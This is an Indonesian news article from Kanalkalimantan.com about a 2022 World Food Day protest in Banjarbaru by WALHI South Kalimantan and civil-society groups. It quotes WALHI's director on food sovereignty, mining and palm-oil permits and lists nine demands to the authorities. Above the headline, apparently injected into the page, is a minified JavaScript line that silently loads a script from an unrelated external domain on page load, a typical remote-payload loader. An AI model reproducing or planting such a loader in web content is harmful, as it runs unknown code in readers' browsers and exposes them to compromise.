(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ini Tuntutan Jaringan Masyarakat Sipil dan Walhi di Hari Pangan Sedunia

KANALKALIMANTAN.COM, BANJARBARU – Memperingati Hari Pangan Sedunia (HPS), Minggu (16/10/2022), Jaringan Masyarakat Sipil dan Wahana Lingkungan Hidup Indonesia (WALHI) Kalimantan Selatan serta beberapa organisasi mahasiswa melakukan aksi damai di Bundaran Simpang 4 Banjarbaru.

Aksi damai ini menyoroti beberapa kebijakan pemerintah daerah yang dianggap hanya sebagai seremonial semata.

Direktur Eksekutif Wahana Lingkungan Hidup Indonesia (WALHI) Kalsel, Kisworo Dwi Cahyono mengatakan beberapa waktu silam Hari Pangan Sedunia dipusatkan di Jejangkit namun hingga saat ini apa yang didapatkan para petani disana.

“Oleh Gubernur Kalsel, HPS di tempat di Jejangkit. Tapi hingga saat ini apa kabar Jejangkit? Apa dampak HPS yang dipusatkan di Kalsel, mempunya pengaruh gak kepada perbaikan, baik tata kelola, kebijakan rencana pembangunan dan anggaran yang memastikan kita berdaulat pangan. Penting, gubernur langsung turun tangan untuk memastikan pangan benar-benar berdaulat di Kalsel,” kata pria kerap disapa Cak Kis ini.

Dalam momen ini, kata Cak Kis seharusnya menjadi momen kebangkitan kedaulatan pangan dengan mengeluarkan kebijakan terkait perlindungan lahan pertanian berkelanjutan.

“Seharusnya ada kebijakan yang pro terhadap lingkungan, keselamatan rakyat dan kebutuhan pangan, jadi kita penting kedaulatan pangan bukan ketahanan pangan,” tegasnya.

Dijelaskannya, Indonesia ini merupakan negara agraris, namun kebanyakan pangan impor dari luar.

“Di Kalsel saja, 3,7 juta hektare hampir separo Kalsel ada izin pertambangan dan kelapa sawit, terus dimana lahan pertanian. Bahkan kita (Kalsel) mempunyai Perda terkait lahan pertanian berkelanjutan namun sampai saat ini belum ada kejelasan,” sebutnya.

Dalam aksinya yang bertepatan dengan Hari Pangan Sedunia 2022 tersebut mereka menuntut pemerintah agar dapat mewujudkan kedaulatan pangan dan menghapus Undang-Undang yang berkaitan dengan penindasan di sektor pangan.

Walhi Kalsel bersama jaringan masyarakat sipil membuat pernyataan sikap sebagai berikut:

1. Mendesak Pemerintah untuk segera menyelesaikan konflik pertanian dan perkebunan warga dengan perusahaan perusak lingkungan yang menyebabkan rusaknya lahan kelola rakyat.

2. Mendesak pemerintah untuk menurunkan harga pupuk dan segala macam obat baik pertanian maupun perkebunan serta memberikan akses yang mudah kepada petani.

3. Mendesak Gubernur Kalimantan Selatan untuk membuat regulasi yang jelas mengatur harga jual bahan pangan hasil dari perkebunan dan pertanian yang berpihak kepada para petani.

4. Mendesak pemerintah untuk melakukan perbaikan dan pemulihan kepada para petani yang lahannya terdampak bencana alam atau pun bencana yang dibuat oleh perusahaan perusak lingkungan.

5. Mabes Polri dan Kapolda Kalsel harus segera melakukan penegakan hukum terhadap perusak lingkungan, khususnya pertambangan dan perkebunan sawit, dan kejahatan lingkungan yang menimbulkan kerusakan pada lahan masyarakat.

6. Mendesak pemerintah untuk berkomitmen dan melaksanakan untuk peningkatan kualitas dan kuantitas bahan pangan.

7. Pemerintah harus Menghentikan izin baru pada korporat perusak lingkungan, izin sering kali menyebabkan kerusakan lingkungan yang berakibat pada kelangkaan bahan pangan.

8. Perbaikan dan pemulihan kerusakan lingkungan termasuk sungai, drainase, jalan dan infrastruktur lainnya dan terkhusus lahan-lahan persawahan yang rusak akibat banjir.

9. Mengevaluasi Rencana Tata Ruang Wilayah (RTRW) untuk pro terhadap lingkungan dan kedaulatan pangan.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell